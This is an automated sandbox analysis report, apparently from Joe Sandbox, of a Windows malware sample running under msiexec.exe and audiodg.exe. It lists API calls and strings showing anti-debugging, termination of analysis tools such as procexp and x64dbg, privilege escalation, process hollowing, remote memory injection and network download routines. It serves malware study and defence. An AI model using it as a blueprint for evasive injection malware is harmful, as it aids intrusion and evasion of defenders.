Opcode ID: 5fdf8a34efa352080ba6f6553334769d4c7d7706005dac43f85eff4b5ffc39d8
Instruction ID: 282e24ec09e2b9ae5283cad2cea4896ac6f5114c64c7859c94cc97c9345f12c2
Opcode Fuzzy Hash: 5fdf8a34efa352080ba6f6553334769d4c7d7706005dac43f85eff4b5ffc39d8
Instruction Fuzzy Hash: BD111F76628A8086D7909F18F44476A77A0FB857A0F505221F9AE83BE8EF6DE1458B00

Function 00007FF6FDB52F9C Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FDB538C4: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB5390D
Part of subcall function 00007FF6FDB538C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53922
Part of subcall function 00007FF6FDB538C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53935
Part of subcall function 00007FF6FDB538C4: CreateDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53945
Part of subcall function 00007FF6FDB538C4: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53958
Part of subcall function 00007FF6FDB538C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB5396D
Part of subcall function 00007FF6FDB538C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53980
Part of subcall function 00007FF6FDB538C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53AA9), ref: 00007FF6FDB53995

Part of subcall function 00007FF6FDB546E4: CreateFileW.KERNEL32 ref: 00007FF6FDB5472B

Part of subcall function 00007FF6FDB540E4: GetCurrentProcess.KERNEL32 ref: 00007FF6FDB5414B
Part of subcall function 00007FF6FDB540E4: OpenProcessToken.ADVAPI32 ref: 00007FF6FDB5415E
Part of subcall function 00007FF6FDB540E4: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6FDB54186
Part of subcall function 00007FF6FDB540E4: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6FDB541B1
Part of subcall function 00007FF6FDB540E4: CloseHandle.KERNEL32 ref: 00007FF6FDB541BC
Part of subcall function 00007FF6FDB540E4: OpenProcess.KERNEL32 ref: 00007FF6FDB541D1
Part of subcall function 00007FF6FDB540E4: CloseHandle.KERNEL32 ref: 00007FF6FDB54249

GetProcessHeap.KERNEL32 ref: 00007FF6FDB53037
HeapFree.KERNEL32 ref: 00007FF6FDB5304A

Strings

.x64, xrefs: 00007FF6FDB52FEE
chFrWWdQWsLFevUr, xrefs: 00007FF6FDB52FDB

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: lstrcat$Process$CloseCreateFileHandleHeapOpenToken$AdjustAttributesCurrentDirectoryFolderFreeLookupPathPrivilegePrivilegesValue
String ID: .x64$chFrWWdQWsLFevUr
API String ID: 3992431006-2286007224
Opcode ID: cbab157b2d9c68e389ca682648b14c554c0f20e1364e44505b152457a58d70d4
Instruction ID: 2fb01873a16136ab0af2dbd9b3fa67a8477c58ade9750d43db1ef54b4041f97d
Opcode Fuzzy Hash: cbab157b2d9c68e389ca682648b14c554c0f20e1364e44505b152457a58d70d4
Instruction Fuzzy Hash: 8911D6A0A18A8285E750EF18E8443AA77A0FB8A704FD04135D56DC67E9FF3CF0598B80

Analysis Process: msiexec.exePID: 740, Parent PID: 5564COMMON

Execution Graph

Execution Coverage:	23.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	478
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF63B52345C Relevance: 47.4, APIs: 20, Strings: 7, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF63B52321C: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF63B52346D), ref: 00007FF63B523220

ExitProcess.KERNEL32 ref: 00007FF63B523476
ExitProcess.KERNEL32 ref: 00007FF63B5234D4

Strings

worker_RdDwvE, xrefs: 00007FF63B5234BF
worker_FDhvwc, xrefs: 00007FF63B5235CD
worker_kBEqZh, xrefs: 00007FF63B523561
msiexec.exe, xrefs: 00007FF63B5234FB
svchost.exe, xrefs: 00007FF63B523497
audiodg.exe, xrefs: 00007FF63B52354C
worker_BAccdq, xrefs: 00007FF63B523510

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: ExitProcess$DebuggerPresent
String ID: audiodg.exe$msiexec.exe$svchost.exe$worker_BAccdq$worker_FDhvwc$worker_RdDwvE$worker_kBEqZh
API String ID: 613740775-1953711635
Opcode ID: 8ceee07a51bd93bcdc0c94c1efd1dcbb9b80b1b3d7bb6e6e8f4b7753da0e9892
Instruction ID: d9a338d470b3b79b56c55da11c5d0b2b2f1e21887e893089cc1678cea6c130b2
Opcode Fuzzy Hash: 8ceee07a51bd93bcdc0c94c1efd1dcbb9b80b1b3d7bb6e6e8f4b7753da0e9892
Instruction Fuzzy Hash: 21611B21A1A65385FA64AF31E85527A2260BFAC721F500135D5CECE3F3CF3DEA09A610

Function 00007FF63B524264 Relevance: 10.6, APIs: 7, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF63B523481), ref: 00007FF63B524268
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF63B523481), ref: 00007FF63B52427B
GetTokenInformation.KERNELBASE ref: 00007FF63B5242AC
GetTokenInformation.KERNELBASE ref: 00007FF63B5242DE
CloseHandle.KERNEL32 ref: 00007FF63B5242ED

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: Token$InformationProcess$CloseCurrentHandleOpen
String ID:
API String ID: 434396405-0
Opcode ID: 906cecabab3cd27e08f2376114ae2c378e45192d3ef69b8435bc731b0b72a338
Instruction ID: 55eeef61500632e755c8a4b2bbf26fba8fa97b75d4f6c3e2fb03b27ef5c4985e
Opcode Fuzzy Hash: 906cecabab3cd27e08f2376114ae2c378e45192d3ef69b8435bc731b0b72a338
Instruction Fuzzy Hash: 7131E336619A8186D750CF15E45062AB7A0FBD87A0F105135FACE8BB69DF7CD4459B00

Function 00007FF63B52321C Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF63B52346D), ref: 00007FF63B523220
GetCurrentProcess.KERNEL32 ref: 00007FF63B523236
CheckRemoteDebuggerPresent.KERNELBASE ref: 00007FF63B523244

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: DebuggerPresent$CheckCurrentProcessRemote
String ID:
API String ID: 3920101602-0
Opcode ID: 5a6d4a932f5469025ed13b66ad34693541af773f9e8b826c55cb2142a42793b4
Instruction ID: ecee9305b3ddf7ff070b6f7ab07e27896c44189ca4a09eaaa10eeba9074682e8
Opcode Fuzzy Hash: 5a6d4a932f5469025ed13b66ad34693541af773f9e8b826c55cb2142a42793b4
Instruction Fuzzy Hash: 4CF0FE21A0E28289E7344F65A40437967A0AF69B18F041174D9CD8E7A6CF6CE609EF11

Function 00007FF63B5243A4 Relevance: 4.5, APIs: 3, Instructions: 21
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexExA.KERNELBASE ref: 00007FF63B5243B9
GetLastError.KERNEL32 ref: 00007FF63B5243D0
CloseHandle.KERNEL32 ref: 00007FF63B5243E2

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: CloseCreateErrorHandleLastMutex
String ID:
API String ID: 4294037311-0
Opcode ID: 7b7f23db395eba8d18a11b8c6077d8c5ef125244b6b8ccbe54b8300fae36e676
Instruction ID: c3d60b46bf4fac246fe20235ceaa6a9f68e9f00087443d35faae343f008f5baf
Opcode Fuzzy Hash: 7b7f23db395eba8d18a11b8c6077d8c5ef125244b6b8ccbe54b8300fae36e676
Instruction Fuzzy Hash: A1F03025A0E641C2EA209F20A44537D23B0FFA9711F504435DACEC6776CF3DD449A600

Function 00007FF63B521050 Relevance: 3.0, APIs: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00007FF63B521063
GetProcAddress.KERNEL32 ref: 00007FF63B521078

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 93e6198b99d5b023e326d4442bf2863252b60b3359320dbad58740b6c0f3b775
Instruction ID: 69a5e7126354918d9acfbf952a1b1c43306217df9a4d70e106c4536b5058d127
Opcode Fuzzy Hash: 93e6198b99d5b023e326d4442bf2863252b60b3359320dbad58740b6c0f3b775
Instruction Fuzzy Hash: 48E07E76509E8086C620DB15F84001AB7B4FB88794F504125EACD82B38DF3CC5698B04

Function 00007FF63B523B24 Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE ref: 00007FF63B523B42

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c74ceee972ecbb736572674712f2cdca0c3e821b549de7bb17b5936316a1e88a
Instruction ID: 7fa51e4027f77e748a11d163ace08662fbb73c56cab653babbf57db71c111840
Opcode Fuzzy Hash: c74ceee972ecbb736572674712f2cdca0c3e821b549de7bb17b5936316a1e88a
Instruction Fuzzy Hash: 23D01221E3998181EB94DF26E889729A3A0FFC8B44F808035E7C985675CF3CC5998F00

Non-executed Functions

Function 00007FF63B522048 Relevance: 63.4, APIs: 32, Strings: 4, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF63B5220AD

Strings

NtUnmapViewOfSection, xrefs: 00007FF63B5223AE
.reloc, xrefs: 00007FF63B52264F
ntdll, xrefs: 00007FF63B522399
@, xrefs: 00007FF63B522429

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: FileModuleName
String ID: .reloc$@$NtUnmapViewOfSection$ntdll
API String ID: 514040917-3001742581
Opcode ID: 020606dac09714d876f732298f71c3bfad47b6361a535e3c1c12f93051d4a690
Instruction ID: 1d6ec327e5efb7cd43fcd0ea7b12fca3bec34396c5b15467c9666c55bf40dba6
Opcode Fuzzy Hash: 020606dac09714d876f732298f71c3bfad47b6361a535e3c1c12f93051d4a690
Instruction Fuzzy Hash: 7D32E536A0DAC586E774CF16E8547AAB3A1FB88B94F004136DACD87B69DF3DD4449B00

Function 00007FF63B5240E4 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 75
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF63B52414B
OpenProcessToken.ADVAPI32 ref: 00007FF63B52415E
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF63B524186
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF63B5241B1
CloseHandle.KERNEL32 ref: 00007FF63B5241BC
OpenProcess.KERNEL32 ref: 00007FF63B5241D1
WaitForSingleObject.KERNEL32 ref: 00007FF63B52422C
CloseHandle.KERNEL32 ref: 00007FF63B524249

Strings

SeDebugPrivilege, xrefs: 00007FF63B52417D

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: Process$CloseHandleOpenToken$AdjustCurrentLookupObjectPrivilegePrivilegesSingleValueWait
String ID: SeDebugPrivilege
API String ID: 2379135442-2896544425
Opcode ID: 6555fb06984b99f5dc155d762adf927f354496d136c17024d6a4529462c8518f
Instruction ID: 7f983ddc1e72085a2858ad6dc95fcbbab74fc432e94eda89e994ff8820df3c48
Opcode Fuzzy Hash: 6555fb06984b99f5dc155d762adf927f354496d136c17024d6a4529462c8518f
Instruction Fuzzy Hash: DF413A32619A8186E750CF51F44876AB7B0FBC8765F504135EBC98ABA9CF7DD448CB00

Function 00007FF63B522CB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82memoryinjectionCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32 ref: 00007FF63B522D6F
WriteProcessMemory.KERNEL32 ref: 00007FF63B522DC1
VirtualProtectEx.KERNEL32 ref: 00007FF63B522DF7

Strings

@, xrefs: 00007FF63B522D54

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: Virtual$AllocMemoryProcessProtectWrite
String ID: @
API String ID: 4073123320-2766056989
Opcode ID: f3439f0f28ca5504b0ff3065ed7b98b6ad7e1e81e5eec6f55742a1d8705483ff
Instruction ID: 2262dbba0a0f97c55ad3af8e884d0a96f6ac743c08ee7770d0fa702d1b97c588
Opcode Fuzzy Hash: f3439f0f28ca5504b0ff3065ed7b98b6ad7e1e81e5eec6f55742a1d8705483ff
Instruction Fuzzy Hash: 9241E236A0DA8986E770CF15E44436AB7A0F788B94F104025EACD8BB69DF7ED4489B40

Function 00007FF63B521CDC Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 138
networksleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 00007FF63B521D20
Sleep.KERNEL32 ref: 00007FF63B521D38
InternetOpenUrlW.WININET ref: 00007FF63B521D64
InternetOpenUrlW.WININET ref: 00007FF63B521D9B
InternetCloseHandle.WININET ref: 00007FF63B521DB3
Sleep.KERNEL32 ref: 00007FF63B521DBE
HttpQueryInfoA.WININET ref: 00007FF63B521DEE
InternetCloseHandle.WININET ref: 00007FF63B521DFD
InternetCloseHandle.WININET ref: 00007FF63B521E08
Sleep.KERNEL32 ref: 00007FF63B521E13
InternetCloseHandle.WININET ref: 00007FF63B521E2D
InternetOpenUrlW.WININET ref: 00007FF63B521E57
InternetCloseHandle.WININET ref: 00007FF63B521E6F
Sleep.KERNEL32 ref: 00007FF63B521E7A
HttpQueryInfoA.WININET ref: 00007FF63B521EB2
GetProcessHeap.KERNEL32 ref: 00007FF63B521EC1
RtlAllocateHeap.NTDLL ref: 00007FF63B521ED7
InternetCloseHandle.WININET ref: 00007FF63B521EEF
InternetCloseHandle.WININET ref: 00007FF63B521EFA
InternetReadFile.WININET ref: 00007FF63B521F37
InternetCloseHandle.WININET ref: 00007FF63B521F6D
InternetCloseHandle.WININET ref: 00007FF63B521F78

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3, xrefs: 00007FF63B521D19

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: Internet$CloseHandle$OpenSleep$HeapHttpInfoQuery$AllocateFileProcessRead
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
API String ID: 2307068205-2771526726
Opcode ID: 1d6439b4b7b4c33b889769c58a8dd001a4713a0aee7d85e729a6ddd97db8bc66
Instruction ID: 44da510089d8d53b902a49e32edf355d6d9b0a6764f9813cd8c0cdcb7d3f5345
Opcode Fuzzy Hash: 1d6439b4b7b4c33b889769c58a8dd001a4713a0aee7d85e729a6ddd97db8bc66
Instruction Fuzzy Hash: E571C536619A8182E750CF55F49472AB7B0FBC87A5F501035FACA8BB69CF7CD8449B40

Function 00007FF63B5246E4 Relevance: 24.2, APIs: 16, Instructions: 155
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileSize.KERNEL32 ref: 00007FF63B52474C
GetProcessHeap.KERNEL32 ref: 00007FF63B524762
RtlAllocateHeap.NTDLL ref: 00007FF63B52477B
CloseHandle.KERNEL32 ref: 00007FF63B524793

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: Heap$AllocateCloseFileHandleProcessSize
String ID:
API String ID: 1391523307-0
Opcode ID: 4e31ffde3c8b45f3337ce6ae119efcfc5e37158fb3e9376a1b8de9c2123a5d47
Instruction ID: c880cc134ea790be2e15de56c9d7a75a3399a6e7c5ae3c49dd99f17ae9eca618
Opcode Fuzzy Hash: 4e31ffde3c8b45f3337ce6ae119efcfc5e37158fb3e9376a1b8de9c2123a5d47
Instruction Fuzzy Hash: 5F81D532609B8186EB60CF55F48536AA7A0FBC9BA1F104135EADE87B79DF7CD4449B00

Function 00007FF63B5230DC Relevance: 16.5, APIs: 1, Strings: 10, Instructions: 45
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF63B5245C4: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF63B523117), ref: 00007FF63B524654

Part of subcall function 00007FF63B523C24: RegDeleteKeyW.ADVAPI32 ref: 00007FF63B523C3C

Part of subcall function 00007FF63B523E24: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF63B523E37

Part of subcall function 00007FF63B523E24: Process32FirstW.KERNEL32 ref: 00007FF63B523E6A
Part of subcall function 00007FF63B523E24: CloseHandle.KERNEL32 ref: 00007FF63B523E7C

Part of subcall function 00007FF63B523E24: wcscmp.MSVCRT ref: 00007FF63B523E91
Part of subcall function 00007FF63B523E24: OpenProcess.KERNEL32 ref: 00007FF63B523EA7
Part of subcall function 00007FF63B523E24: TerminateProcess.KERNEL32 ref: 00007FF63B523ECA
Part of subcall function 00007FF63B523E24: CloseHandle.KERNEL32 ref: 00007FF63B523ED8
Part of subcall function 00007FF63B523E24: Process32NextW.KERNEL32 ref: 00007FF63B523EEB
Part of subcall function 00007FF63B523E24: CloseHandle.KERNEL32 ref: 00007FF63B523EFD

Sleep.KERNEL32 ref: 00007FF63B5231C6

Strings

autoruns.exe, xrefs: 00007FF63B523196
x64dbg.exe, xrefs: 00007FF63B523172
TOTALCMD.exe, xrefs: 00007FF63B523166
ProcessHacker.exe, xrefs: 00007FF63B523142
idaq64.exe, xrefs: 00007FF63B52317E
Services, xrefs: 00007FF63B5231B5
procmon.exe, xrefs: 00007FF63B5231A2
idaq.exe, xrefs: 00007FF63B52318A
procexp.exe, xrefs: 00007FF63B52314E
procexp64.exe, xrefs: 00007FF63B52315A

Memory Dump Source

Source File: 00000009.00000002.1439084024.00007FF63B521000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF63B520000, based on PE: true

Associated: 00000009.00000002.1439040744.00007FF63B520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439168323.00007FF63B525000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439194981.00007FF63B527000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439229739.00007FF63B528000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1439266238.00007FF63B52A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff63b520000_msiexec.jbxd

Similarity

API ID: CloseHandle$ProcessProcess32$CreateDeleteFirstNextOpenSleepSnapshotTerminateToolhelp32wcscmp
String ID: ProcessHacker.exe$Services$TOTALCMD.exe$autoruns.exe$idaq.exe$idaq64.exe$procexp.exe$procexp64.exe$procmon.exe$x64dbg.exe
API String ID: 4011447834-928700279
Opcode ID: 214aab143e36c6a3a1886c25ccf32431eea88663dedd73175290a620f2c5ce1f
Instruction ID: 3c0c4f830e0e015253870ab6e71f142e3af9dcd28642c53f63a293335479336e
Opcode Fuzzy Hash: 214aab143e36c6a3a1886c25ccf32431eea88663dedd73175290a620f2c5ce1f
Instruction Fuzzy Hash: D5215320B1B54299EA04FF20E8911B862A0AF6C770F900531E4DDCA3F7DF2CAA09E641

Function 00007FF63B522E6C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 32
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32 ref: 00007FF63B522E85
ReleaseMutex.KERNEL32 ref: 00007FF63B522E9D
CloseHandle.KERNEL32 ref: 00007FF63B522EA8
GetLastError.KERNEL32 ref: 00007FF63B522EB5
ReleaseMutex.KERNEL32 ref: 00007FF63B522EC7
CloseHandle.KERNEL32 ref: 00007FF63B522ED2

Strings

rbNSpGEsyb, xrefs: 00007FF63B522E70

Memory Dump Source

